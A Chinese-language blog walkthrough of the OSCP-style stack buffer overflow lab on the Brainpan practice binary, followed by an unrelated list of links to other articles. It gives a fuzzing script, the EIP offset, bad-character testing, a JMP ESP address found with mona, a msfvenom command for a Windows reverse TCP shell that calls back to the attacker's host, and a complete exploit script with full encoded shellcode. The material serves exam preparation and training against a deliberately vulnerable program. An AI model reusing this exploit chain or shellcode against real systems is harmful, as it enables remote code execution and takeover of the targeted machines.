环境准备

Windows7虚拟机(我选了IE8,其实也没什么关系) 微软官方下载地址

These virtual machines expire after 90 days. We recommend setting a snapshot when you first install the virtual machine which you can roll back to later. Mac users will need to use a tool that supports zip64, like The Unarchiver, to unzip the files.

The password to your VM is "Passw0rd!"

进入虚拟机安装immunity debugger(检测到没有python2.7.1的话,它会自己安装的)

github下载mona.py,用于immunity debugger mona仓库

GitHub获取经典练习案例 链接

靶机IP:192.168.195.130

参考资料: 土司有个帖子有发pwk(oscp)的pdf扫描版、已通过大佬的博客

一般流程

1.fuzz触发溢出

2.控制EIP,即找到eip地址在我们溢出数据中的哪个位置

3.确认有多大的空间可以用来放shellcode

4.剔除会导致shellcode运行异常的坏字符

5.寻找跳板——jmp esp:

因为shellcode存放在esp中,但esp的地址是不固定的。所以我们eip中不能直接放esp的地址。

汇编中有一条指令 JMP ESP。如果我们能够找到包含这条指令的静态内存地址,那么我们就能修改EIP寄存器的值为JMP ESP的内存地址,由该指令跳转到ESP寄存器来执行我们的shellcode

具体练习

brainpan

win7上先把brainpan.exe跑起来。用如下脚本尝试fuzz

import socket

buffers = [b"A"]
ip = "192.168.195.130"
port = 9999
addr = (ip, port) counter = 100
while len(buffers) <= 30:
buffers.append(b"A"*counter)
counter = counter + 100 for buffer in buffers:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(buffer)
s.recv(4096)
s.close()
print("send %s bytes" % len(buffer))

在600byte时目标程序崩溃。

下一步寻找eip的位置

打开immunity debugger attach到正在运行的brainpan.exe上去

修改上面的脚本,只发送如图所示payload。脚本运行后,immunity debugger在点击继续运行。发现变化

eip 35724134 (也就是5rA4)

我们找一下它在我们payload中的位置

eip = b'A' * 524 + b'aaaa' # a 61
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(eip)
s.recv(4096)
s.close()

验证一下发现eip确实变成了61616161

下面计算esp能放多少字符

把payload改为

buff = b'A' * 524 + b'aaaa' + b'C' * (3000 - 524 - 4) #3000是往大了写



可以看到esp里已经都是c了,在右下的栈图里,找出cccc的起点和终点

0028FD60,0028FF34

0028FF34 - 0028FD60 = 468

也就是说我们有468byte可以用来放shellcode。

下面来剔除坏字符:

将payload修改如下发送

badchars2 = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x00"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x40"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
b"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0")
buff = b'A' * 524 + b'aaaa' + badchars

右键esp地址,选择follow in dump。左下窗口就会显示到esp.

可以发现00之后的字符并不是预计的11,说明被截断了。把badchars中的00替换成已确认无害的01继续测试,是否还有别的坏字符

可以看到剩余badchars都正常显示——即坏字符只有0x00

下面开始寻找跳板

immunity debugger 下方pycommands输入 !mona modules

The columns in this output include the current memory location (base and top addresses), the size

of the module, several flags, the module version, module name, and the path

可以看到brainpan.exe的系统保护机制和rebase都为Flase,可以直接利用。

使用nasm_shell来获得jmp esp的十六进制指令

┌──(wuerror㉿kali)-[~]
└─$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp

接着用mona来寻找指令

!mona find -s "\xff\xe4" -m brainpan.exe

311712F3

x86 Windows是小端序,所以填入eip的值应该是\xf3\x12\x17\x31

接着生成shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.195.128 LPORT=4444 -b "\x00" -f python -e x86/shikata_ga_nai -a x86

部分代码如下

buf =  b""
buf += b"\xda\xcd\xd9\x74\x24\xf4\x58\x33\xc9\xba\x21\x6e\x49"
buf += b"\x45\xb1\x52\x31\x50\x17\x83\xc0\x04\x03\x71\x7d\xab"
buf += b"\xb0\x8d\x69\xa9\x3b\x6d\x6a\xce\xb2\x88\x5b\xce\xa1"
buf += b"\xd9\xcc\xfe\xa2\x8f\xe0\x75\xe6\x3b\x72\xfb\x2f\x4c"
buf += b"\x33\xb6\x09\x63\xc4\xeb\x6a\xe2\x46\xf6\xbe\xc4\x77"
buf += b"\x39\xb3\x05\xbf\x24\x3e\x57\x68\x22\xed\x47\x1d\x7e"
buf += b"\x2e\xec\x6d\x6e\x36\x11\x25\x91\x17\x84\x3d\xc8\xb7"
buf += b"\x27\x91\x60\xfe\x3f\xf6\x4d\x48\xb4\xcc\x3a\x4b\x1c"
buf += b"\x1d\xc2\xe0\x61\x91\x31\xf8\xa6\x16\xaa\x8f\xde\x64"
buf += b"\x57\x88\x25\x16\x83\x1d\xbd\xb0\x40\x85\x19\x40\x84"
buf += b"\x50\xea\x4e\x61\x16\xb4\x52\x74\xfb\xcf\x6f\xfd\xfa"
buf += b"\x1f\xe6\x45\xd9\xbb\xa2\x1e\x40\x9a\x0e\xf0\x7d\xfc"
buf += b"\xf0\xad\xdb\x77\x1c\xb9\x51\xda\x49\x0e\x58\xe4\x89"
buf += b"\x18\xeb\x97\xbb\x87\x47\x3f\xf0\x40\x4e\xb8\xf7\x7a"
buf += b"\x36\x56\x06\x85\x47\x7f\xcd\xd1\x17\x17\xe4\x59\xfc"
buf += b"\xe7\x09\x8c\x53\xb7\xa5\x7f\x14\x67\x06\xd0\xfc\x6d"
buf += b"\x89\x0f\x1c\x8e\x43\x38\xb7\x75\x04\x87\xe0\xb6\x54"
buf += b"\x6f\xf3\x38\x44\x2c\x7a\xde\x0c\xdc\x2a\x49\xb9\x45"
buf += b"\x77\x01\x58\x89\xad\x6c\x5a\x01\x42\x91\x15\xe2\x2f"
buf += b"\x81\xc2\x02\x7a\xfb\x45\x1c\x50\x93\x0a\x8f\x3f\x63"
buf += b"\x44\xac\x97\x34\x01\x02\xee\xd0\xbf\x3d\x58\xc6\x3d"
buf += b"\xdb\xa3\x42\x9a\x18\x2d\x4b\x6f\x24\x09\x5b\xa9\xa5"
buf += b"\x15\x0f\x65\xf0\xc3\xf9\xc3\xaa\xa5\x53\x9a\x01\x6c"
buf += b"\x33\x5b\x6a\xaf\x45\x64\xa7\x59\xa9\xd5\x1e\x1c\xd6"
buf += b"\xda\xf6\xa8\xaf\x06\x67\x56\x7a\x83\x97\x1d\x26\xa2"
buf += b"\x3f\xf8\xb3\xf6\x5d\xfb\x6e\x34\x58\x78\x9a\xc5\x9f"
buf += b"\x60\xef\xc0\xe4\x26\x1c\xb9\x75\xc3\x22\x6e\x75\xc6"
buff = b'A' * 524 + b'\xf3\x12\x17\x31' + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(buff)
s.recv(4096)
s.close()

但是并没有接到反弹shell,用上述方法查看esp内容是否发生变化

取出来对比,可以发现shellcode的前16个字节发生了变化。

可以在shellcode的前面加上0x90进行保护

buff = b'A' * 524 + b'\xf3\x12\x17\x31' + b"\x90" * 16 + buf

执行成功反弹

最终exp:

import socket

ip = "192.168.195.130"
port = 9999
addr = (ip, port) buf = b""
buf += b"\xda\xcd\xd9\x74\x24\xf4\x58\x33\xc9\xba\x21\x6e\x49"
buf += b"\x45\xb1\x52\x31\x50\x17\x83\xc0\x04\x03\x71\x7d\xab"
buf += b"\xb0\x8d\x69\xa9\x3b\x6d\x6a\xce\xb2\x88\x5b\xce\xa1"
buf += b"\xd9\xcc\xfe\xa2\x8f\xe0\x75\xe6\x3b\x72\xfb\x2f\x4c"
buf += b"\x33\xb6\x09\x63\xc4\xeb\x6a\xe2\x46\xf6\xbe\xc4\x77"
buf += b"\x39\xb3\x05\xbf\x24\x3e\x57\x68\x22\xed\x47\x1d\x7e"
buf += b"\x2e\xec\x6d\x6e\x36\x11\x25\x91\x17\x84\x3d\xc8\xb7"
buf += b"\x27\x91\x60\xfe\x3f\xf6\x4d\x48\xb4\xcc\x3a\x4b\x1c"
buf += b"\x1d\xc2\xe0\x61\x91\x31\xf8\xa6\x16\xaa\x8f\xde\x64"
buf += b"\x57\x88\x25\x16\x83\x1d\xbd\xb0\x40\x85\x19\x40\x84"
buf += b"\x50\xea\x4e\x61\x16\xb4\x52\x74\xfb\xcf\x6f\xfd\xfa"
buf += b"\x1f\xe6\x45\xd9\xbb\xa2\x1e\x40\x9a\x0e\xf0\x7d\xfc"
buf += b"\xf0\xad\xdb\x77\x1c\xb9\x51\xda\x49\x0e\x58\xe4\x89"
buf += b"\x18\xeb\x97\xbb\x87\x47\x3f\xf0\x40\x4e\xb8\xf7\x7a"
buf += b"\x36\x56\x06\x85\x47\x7f\xcd\xd1\x17\x17\xe4\x59\xfc"
buf += b"\xe7\x09\x8c\x53\xb7\xa5\x7f\x14\x67\x06\xd0\xfc\x6d"
buf += b"\x89\x0f\x1c\x8e\x43\x38\xb7\x75\x04\x87\xe0\xb6\x54"
buf += b"\x6f\xf3\x38\x44\x2c\x7a\xde\x0c\xdc\x2a\x49\xb9\x45"
buf += b"\x77\x01\x58\x89\xad\x6c\x5a\x01\x42\x91\x15\xe2\x2f"
buf += b"\x81\xc2\x02\x7a\xfb\x45\x1c\x50\x93\x0a\x8f\x3f\x63"
buf += b"\x44\xac\x97\x34\x01\x02\xee\xd0\xbf\x3d\x58\xc6\x3d"
buf += b"\xdb\xa3\x42\x9a\x18\x2d\x4b\x6f\x24\x09\x5b\xa9\xa5"
buf += b"\x15\x0f\x65\xf0\xc3\xf9\xc3\xaa\xa5\x53\x9a\x01\x6c"
buf += b"\x33\x5b\x6a\xaf\x45\x64\xa7\x59\xa9\xd5\x1e\x1c\xd6"
buf += b"\xda\xf6\xa8\xaf\x06\x67\x56\x7a\x83\x97\x1d\x26\xa2"
buf += b"\x3f\xf8\xb3\xf6\x5d\xfb\x6e\x34\x58\x78\x9a\xc5\x9f"
buf += b"\x60\xef\xc0\xe4\x26\x1c\xb9\x75\xc3\x22\x6e\x75\xc6"
buff = b'A' * 524 + b'\xf3\x12\x17\x31' + b"\x90" * 16 + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(buff)
s.recv(4096)
s.close()

oscp-缓冲区溢出(持续更新)的更多相关文章

  1. 史上最全的spark面试题——持续更新中

    史上最全的spark面试题——持续更新中 2018年09月09日 16:34:10 为了九亿少女的期待 阅读数 13696更多 分类专栏: Spark 面试题   版权声明:本文为博主原创文章,遵循C ...

  2. 4W字的后端面试知识点总结(持续更新)

    点赞再看,养成习惯,微信搜索[三太子敖丙]关注这个互联网苟且偷生的工具人. 本文 GitHub https://github.com/JavaFamily 已收录,有一线大厂面试完整考点.资料以及我的 ...

  3. 深入理解Java虚拟机--个人总结(持续更新)

    深入理解Java虚拟机--个人总结(持续更新) 每天按照书本学一点,会把自己的总结思考写下来,形成输出,持续更新,立帖为证 -- 2020年7月7日 开始第一次学习 -- 2020年7月8日 今天在百 ...

  4. Java基础面试题(史上最全、持续更新、吐血推荐)

    文章很长,建议收藏起来,慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源: 疯狂创客圈 经典图书 : <Netty Zookeeper Redis 高并发实战> 面试必备 + 大厂必备 ...

  5. JUC并发包与容器类 - 面试题(一网打净,持续更新)

    文章很长,建议收藏起来,慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源: 疯狂创客圈 经典图书 : <Netty Zookeeper Redis 高并发实战> 面试必备 + 大厂必备 ...

  6. 消息队列面试题、RabbitMQ面试题、Kafka面试题、RocketMQ面试题 (史上最全、持续更新、吐血推荐)

    文章很长,建议收藏起来,慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源: 疯狂创客圈 经典图书 : <Netty Zookeeper Redis 高并发实战> 面试必备 + 大厂必备 ...

  7. Linux面试题(史上最全、持续更新、吐血推荐)

    文章很长,建议收藏起来,慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源: 疯狂创客圈 经典图书 : <Netty Zookeeper Redis 高并发实战> 面试必备 + 大厂必备 ...

  8. Netty 面试题 (史上最全、持续更新)

    文章很长,建议收藏起来,慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源: 疯狂创客圈 经典图书 : <Netty Zookeeper Redis 高并发实战> 面试必备 + 大厂必备 ...

  9. 【pwn】学pwn日记——栈学习(持续更新)

    [pwn]学pwn日记--栈学习(持续更新) 前言 从8.2开始系统性学习pwn,在此之前,学习了部分汇编指令以及32位c语言程序的堆栈图及函数调用. 学习视频链接:XMCVE 2020 CTF Pw ...

随机推荐

  1. ElasticSearch实战系列十一: ElasticSearch错误问题解决方案

    前言 本文主要介绍ElasticSearch在使用过程中出现的各种问题解决思路和办法. ElasticSearch环境安装问题 1,max virtual memory areas vm.max_ma ...

  2. 使用CSS样式的三种方法

    一.内联样式 内联样式通过style属性来设置,属性值可以任意的CSS样式. 1 <!DOCTYPE html> 2 <html lang="en"> 3 ...

  3. [bug] C++:[Error] name lookup of 'i' changed for ISO '

    错误原因:变量i只在for循环中可见,若在循环外使用需要单独定义 1 #include <iostream> 2 using namespace std; 3 4 int main(){ ...

  4. 在Vim中查看文件编码和文件编码转换

    在Vim中查看文件编码和文件编码转换 风亡小窝 关注  0.2 2016.09.26 22:43* 字数 244 阅读 5663评论 0喜欢 2 在Vim中查看文件编码 :set fileencodi ...

  5. C++知识点案例 笔记-5

    1.关系运算符重载 2.类型转换函数重载 3.转换构造函数 4.函数模板 5.显式实例化 6.类模板外定义模板函数 1.关系运算符重载 ==关系运算符重载== //直接(按分数)比较两个对象 #inc ...

  6. IT菜鸟之OSI七层模型

    OSI七层模型从下到上分别是: 应用层 表示层 会话层 传输层 网络层 数据链路层 物理层 第一层物理层: 物理层是传输媒介(网线.无线.光纤) 在线路中起到的作用:是将0/1转换成电信号或光信号 物 ...

  7. 逗号字符的使用、字符数组与字符串数组、sizeof与strlen

    (1)连接两个表达式为一个表达式 for(ux=0,uxt=1;uxt<444;ux++,uxt++) 允许通过编译:他可以给FOR循环更多的初始化值: (2)一般定义的话要区别只有 字符数组 ...

  8. 『言善信』Fiddler工具 — 3、Fiddler界面布局详解【菜单栏】

    目录 (一)Fiddler界面布局介绍 (二)菜单栏 1.File文件菜单: 2.Edit编辑菜单: 3.Rules规则菜单: 4.Tools工具菜单: 5.View视图菜单: 6.Help帮助菜单: ...

  9. libevent中最小堆实现算法解析

    libevent,一个非常好的c的网络库,最近开始学习并分析下,做个记录.源码选用的1.4版本.因为感觉这版的代码比较精简,也没有太多宏定义,个人感觉适合学习原理. 从哪里开始呢,我选择从一些最简单的 ...

  10. python 获取时间范围内日期列表

    python 获取时间范围内日期列表 import datetime def dateRange(beginDate, endDate): dates = [] dt = datetime.datet ...